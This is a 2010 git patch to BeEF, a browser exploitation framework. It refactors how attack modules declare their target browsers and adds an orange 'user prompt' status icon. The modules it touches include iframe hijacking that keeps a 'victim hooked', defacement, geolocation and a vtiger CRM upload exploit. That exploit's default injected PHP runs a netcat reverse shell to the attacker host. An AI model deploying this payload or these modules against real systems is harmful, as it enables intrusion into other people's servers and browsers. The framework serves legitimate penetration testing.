From aeacf83aa803f0263bb2da8209baf402a3f3c51b Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Sun, 19 Dec 2010 04:35:13 +0000 Subject: [PATCH] Updated for issue 185. This change added another traffic light (orange == user prompt) to the module targets. Also targets are now set using the set_target() function. No OS target functionality is currently in place. git-svn-id: https://beef.googlecode.com/svn/trunk@619 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/constants.rb | 8 ++- lib/modules/command.rb | 56 ++++++++++++++---- lib/ui/modules/modules.rb | 2 + .../browser/detect_details/detect_details.rb | 11 ++-- .../detect_visited_urls.rb | 10 ++-- .../browser/site_redirect/site_redirect.rb | 12 ++-- .../site_redirect_iframe.rb | 32 +++++----- .../host/iphone_skype/iphone_skype.rb | 10 ++-- .../commands/host/iphone_tel/iphone_tel.rb | 10 ++-- .../physical_location/physical_location.rb | 10 ++-- .../misc/alert_dialog/alert_dialog.rb | 10 ++-- .../misc/deface_web_page/deface_web_page.rb | 10 ++-- .../misc/prompt_dialog/prompt_dialog.rb | 10 ++-- .../misc/raw_javascript/raw_javascript.rb | 10 ++-- .../detect_local_settings.rb | 24 +++++--- .../vtiger_crm_upload_exploit.rb | 10 ++-- .../popunder_window/popunder_window.rb | 20 ++++--- .../recon/collect_links/collect_links.rb | 10 ++-- .../detect_cookies_support/detect_cookies.rb | 10 ++-- .../commands/recon/detect_tor/detect_tor.rb | 11 ++-- public/images/icons/orange.png | Bin 0 -> 3590 bytes 21 files changed, 183 insertions(+), 103 deletions(-) create mode 100644 public/images/icons/orange.png diff --git a/lib/constants.rb b/lib/constants.rb index 00af3249f..3f147fd01 100644 --- a/lib/constants.rb +++ b/lib/constants.rb @@ -7,11 +7,13 @@ module Constants module CommandModule - MODULE_TARGET_VERIFIED_NOT_WORKING = 0 - MODULE_TARGET_VERIFIED_WORKING = 1 - MODULE_TARGET_VERIFIED_UNKNOWN = 2 + MODULE_TARGET_VERIFIED_NOT_WORKING = 0 + MODULE_TARGET_VERIFIED_WORKING = 1 + MODULE_TARGET_VERIFIED_USER_NOTIFY = 2 + MODULE_TARGET_VERIFIED_UNKNOWN = 3 MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png' + MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG = 'orange.png' MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png' MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png' diff --git a/lib/modules/command.rb b/lib/modules/command.rb index d5c52532d..6924398c3 100644 --- a/lib/modules/command.rb +++ b/lib/modules/command.rb @@ -39,8 +39,15 @@ module BeEF BD = BeEF::Models::BrowserDetails + ALL = BeEF::Constants::Browsers::ALL + IE = BeEF::Constants::Browsers::IE + S = BeEF::Constants::Browsers::S + FF = BeEF::Constants::Browsers::FF + C = BeEF::Constants::Browsers::C + VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING + VERIFIED_USER_NOTIFY = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN # Super class controller @@ -114,37 +121,62 @@ module BeEF end + # set the target details + # this function is used when determining the code of the node icon + def set_target(definition) + + @target = [] if not @target + @target.push(definition) + + end + # verify whether this command module has been checked against the target browser + # this function is used when determining the code of the node icon def verify_target + + return VERIFIED_UNKNOWN if not @target # no target specified in the module + + @target.each {|definition| + return definition['verified_status'] if test_target(definition) + } + + return VERIFIED_UNKNOWN + + end + + # test if the target definition matches the hooked browser + # this function is used when determining the code of the node icon + def test_target(target_definition) # if the target is not set in the module return unknown - return VERIFIED_UNKNOWN if @target.nil? - return VERIFIED_UNKNOWN if @target['browser_name'].nil? + return false if target_definition.nil? + # return false if not target_definition[0]['browser_name'] + return false if target_definition['browser_name'].nil? # retrieve the target browser name browser_name = get_browser_detail('BrowserName') - return VERIFIED_UNKNOWN if browser_name.eql? 'UNKNOWN' or browser_name.nil? + return false if browser_name.eql? 'UNKNOWN' or browser_name.nil? # check if the browser is targeted - all_browsers_targeted = @target['browser_name'].eql? BeEF::Constants::Browsers::ALL - target_browser_matches = browser_name.eql? @target['browser_name'] - return VERIFIED_NOT_WORKING if not (target_browser_matches || all_browsers_targeted) + all_browsers_targeted = target_definition['browser_name'].eql? BeEF::Constants::Browsers::ALL + target_browser_matches = browser_name.eql? target_definition['browser_name'] + return false if not (target_browser_matches || all_browsers_targeted) # assume that the browser_maxver and browser_minver were excluded - return VERIFIED_WORKING if @target['browser_maxver'].nil? && @target['browser_minver'].nil? + return true if target_definition['browser_maxver'].nil? && target_definition['browser_minver'].nil? # check if the browser version is targeted browser_version = get_browser_detail('BrowserVersion') browser_version = 'UNKNOWN' if browser_version.nil? - return VERIFIED_UNKNOWN if browser_version.eql? 'UNKNOWN' + return false if browser_version.eql? 'UNKNOWN' # check the browser version number is within range - return VERIFIED_NOT_WORKING if browser_version.to_f > @target['browser_maxver'].to_f - return VERIFIED_NOT_WORKING if browser_version.to_f < @target['browser_minver'].to_f + return false if browser_version.to_f > target_definition['browser_maxver'].to_f + return false if browser_version.to_f < target_definition['browser_minver'].to_f # all the checks passed and this module targets the user agent - VERIFIED_WORKING + true end - + # Store the browser detail in the database. def set_browser_detail(key, value) raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id) diff --git a/lib/ui/modules/modules.rb b/lib/ui/modules/modules.rb index 7f0381cd2..d815a20b6 100644 --- a/lib/ui/modules/modules.rb +++ b/lib/ui/modules/modules.rb @@ -198,6 +198,8 @@ class Modules < BeEF::HttpController case command_module.verify_target() # select the correct icon for the command module when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG + when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY + command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN diff --git a/modules/commands/browser/detect_details/detect_details.rb b/modules/commands/browser/detect_details/detect_details.rb index 148b17720..159b0e5e2 100644 --- a/modules/commands/browser/detect_details/detect_details.rb +++ b/modules/commands/browser/detect_details/detect_details.rb @@ -13,11 +13,14 @@ class Detect_details < BeEF::Command }, 'Category' => 'Browser', 'Author' => ['wade','vo','passbe'], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + use 'beef.dom' use_template! end diff --git a/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb b/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb index b77ef16d4..f7c441e32 100644 --- a/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb +++ b/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb @@ -13,11 +13,13 @@ class Detect_visited_urls < BeEF::Command 'Data' => [ ['ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'] ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) use_template! end diff --git a/modules/commands/browser/site_redirect/site_redirect.rb b/modules/commands/browser/site_redirect/site_redirect.rb index cd1a0616d..86a90d9dd 100644 --- a/modules/commands/browser/site_redirect/site_redirect.rb +++ b/modules/commands/browser/site_redirect/site_redirect.rb @@ -13,11 +13,13 @@ class Site_redirect < BeEF::Command 'Data' => [ ['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'] ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } - }) + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) use_template! end diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb index 582fad5d8..9a0679318 100644 --- a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb @@ -10,20 +10,24 @@ class Site_redirect_iframe < BeEF::Command # def initialize super({ - 'Name' => 'Site Redirect (iFrame)', - 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.', - 'Category' => 'Browser', - 'Author' => ['ethicalhack3r, Yori Kvitchko'], - 'Data' => [ - ['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'], - ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'], - ['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px'] - ], - 'File' => __FILE__, - 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL } - }) - - use_template! + 'Name' => 'Site Redirect (iFrame)', + 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.', + 'Category' => 'Browser', + 'Author' => ['ethicalhack3r, Yori Kvitchko'], + 'Data' => [ + ['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'], + ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'], + ['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px'] + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! end # This method is being called when a hooked browser sends some diff --git a/modules/commands/host/iphone_skype/iphone_skype.rb b/modules/commands/host/iphone_skype/iphone_skype.rb index d2c975a5e..cb02b27a8 100644 --- a/modules/commands/host/iphone_skype/iphone_skype.rb +++ b/modules/commands/host/iphone_skype/iphone_skype.rb @@ -24,10 +24,12 @@ class Iphone_skype < BeEF::Command 'width' => '200px' ], ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::S - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => S }) use 'beef.dom' diff --git a/modules/commands/host/iphone_tel/iphone_tel.rb b/modules/commands/host/iphone_tel/iphone_tel.rb index 493141819..47e4d1550 100644 --- a/modules/commands/host/iphone_tel/iphone_tel.rb +++ b/modules/commands/host/iphone_tel/iphone_tel.rb @@ -25,10 +25,12 @@ class Iphone_tel < BeEF::Command 'width' => '200px' ], ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::S - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => S }) use 'beef.dom' diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb index 86848e1b4..68848353a 100644 --- a/modules/commands/host/physical_location/physical_location.rb +++ b/modules/commands/host/physical_location/physical_location.rb @@ -13,10 +13,12 @@ class Physical_location < BeEF::Command }, 'Category' => 'Host', 'Author' => ['antisnatchor'], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL }) use 'beef.geolocation' diff --git a/modules/commands/misc/alert_dialog/alert_dialog.rb b/modules/commands/misc/alert_dialog/alert_dialog.rb index f56707630..0fe40ec54 100644 --- a/modules/commands/misc/alert_dialog/alert_dialog.rb +++ b/modules/commands/misc/alert_dialog/alert_dialog.rb @@ -15,10 +15,12 @@ class Alert_dialog < BeEF::Command 'Category' => 'Misc', 'Author' => 'bm', 'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) # This tells the framework to use the file 'alert.js' as the command module instructions. diff --git a/modules/commands/misc/deface_web_page/deface_web_page.rb b/modules/commands/misc/deface_web_page/deface_web_page.rb index 7f52036a0..7ca6a8c10 100644 --- a/modules/commands/misc/deface_web_page/deface_web_page.rb +++ b/modules/commands/misc/deface_web_page/deface_web_page.rb @@ -24,10 +24,12 @@ class Deface_web_page < BeEF::Command 'height' => '100px' ], ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use 'beef.dom' diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.rb b/modules/commands/misc/prompt_dialog/prompt_dialog.rb index 83b725eda..487c5be75 100644 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.rb +++ b/modules/commands/misc/prompt_dialog/prompt_dialog.rb @@ -11,10 +11,12 @@ class Prompt_dialog < BeEF::Command 'Category' => 'Misc', 'Author' => 'bm', 'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use_template! diff --git a/modules/commands/misc/raw_javascript/raw_javascript.rb b/modules/commands/misc/raw_javascript/raw_javascript.rb index 6050a9dd5..bebb21869 100644 --- a/modules/commands/misc/raw_javascript/raw_javascript.rb +++ b/modules/commands/misc/raw_javascript/raw_javascript.rb @@ -21,10 +21,12 @@ class Raw_javascript < BeEF::Command 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'], ], - 'File' => __FILE__ , - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use_template! diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.rb b/modules/commands/network/detect_local_settings/detect_local_settings.rb index 6d2113d8d..123269c68 100644 --- a/modules/commands/network/detect_local_settings/detect_local_settings.rb +++ b/modules/commands/network/detect_local_settings/detect_local_settings.rb @@ -10,17 +10,25 @@ class Detect_local_settings < BeEF::Command 'Description' => 'Grab the local network settings (i.e internal ip address)', 'Category' => 'Network', 'Author' => ['pdp', 'wade', 'bm'], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => [ - BeEF::Constants::Browsers::FF, - BeEF::Constants::Browsers::C - ] - } + 'File' => __FILE__ }) - use 'beef.net.local' + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => FF + }) + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => C + }) + + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => IE + }) + + use 'beef.net.local' use_template! end diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb index 2304ffc66..27227482a 100644 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb +++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb @@ -29,10 +29,12 @@ class Vtiger_crm_upload_exploit < BeEF::Command ['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'], ['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'] ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use 'beef.net.local' diff --git a/modules/commands/persistence/popunder_window/popunder_window.rb b/modules/commands/persistence/popunder_window/popunder_window.rb index 9cab62f15..2c4274a25 100644 --- a/modules/commands/persistence/popunder_window/popunder_window.rb +++ b/modules/commands/persistence/popunder_window/popunder_window.rb @@ -10,15 +10,19 @@ class Popunder_window < BeEF::Command # def initialize super({ - 'Name' => 'Pop Under Window', - 'Description' => 'Creates a new discrete pop under window with the beef hook included.

This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release', - 'Category' => 'Persistence', - 'Author' => 'ethicalhack3r', - 'File' => __FILE__, - 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL } - }) + 'Name' => 'Pop Under Window', + 'Description' => 'Creates a new discrete pop under window with the beef hook included.

This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release', + 'Category' => 'Persistence', + 'Author' => 'ethicalhack3r', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) - use_template! + use_template! end diff --git a/modules/commands/recon/collect_links/collect_links.rb b/modules/commands/recon/collect_links/collect_links.rb index 0db865973..f75731afb 100644 --- a/modules/commands/recon/collect_links/collect_links.rb +++ b/modules/commands/recon/collect_links/collect_links.rb @@ -13,10 +13,12 @@ class Collect_links < BeEF::Command }, 'Category' => 'Recon', 'Author' => ['vo'], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use 'beef.dom' diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.rb b/modules/commands/recon/detect_cookies_support/detect_cookies.rb index 9585384d9..9223921a2 100644 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.rb +++ b/modules/commands/recon/detect_cookies_support/detect_cookies.rb @@ -14,10 +14,12 @@ class Detect_cookies < BeEF::Command 'Category' => 'Recon', 'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']], 'Author' => ['vo'], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use 'beef.browser.cookie' diff --git a/modules/commands/recon/detect_tor/detect_tor.rb b/modules/commands/recon/detect_tor/detect_tor.rb index fd9e09ca5..4f0e7a611 100644 --- a/modules/commands/recon/detect_tor/detect_tor.rb +++ b/modules/commands/recon/detect_tor/detect_tor.rb @@ -14,14 +14,15 @@ class Detect_tor < BeEF::Command [ ['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'] ], - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL }) use 'beef.net.local' - use_template! end diff --git a/public/images/icons/orange.png b/public/images/icons/orange.png new file mode 100644 index 0000000000000000000000000000000000000000..61bc7b769b62870988f523ebf9548918b35e7d66 GIT binary patch literal 3590 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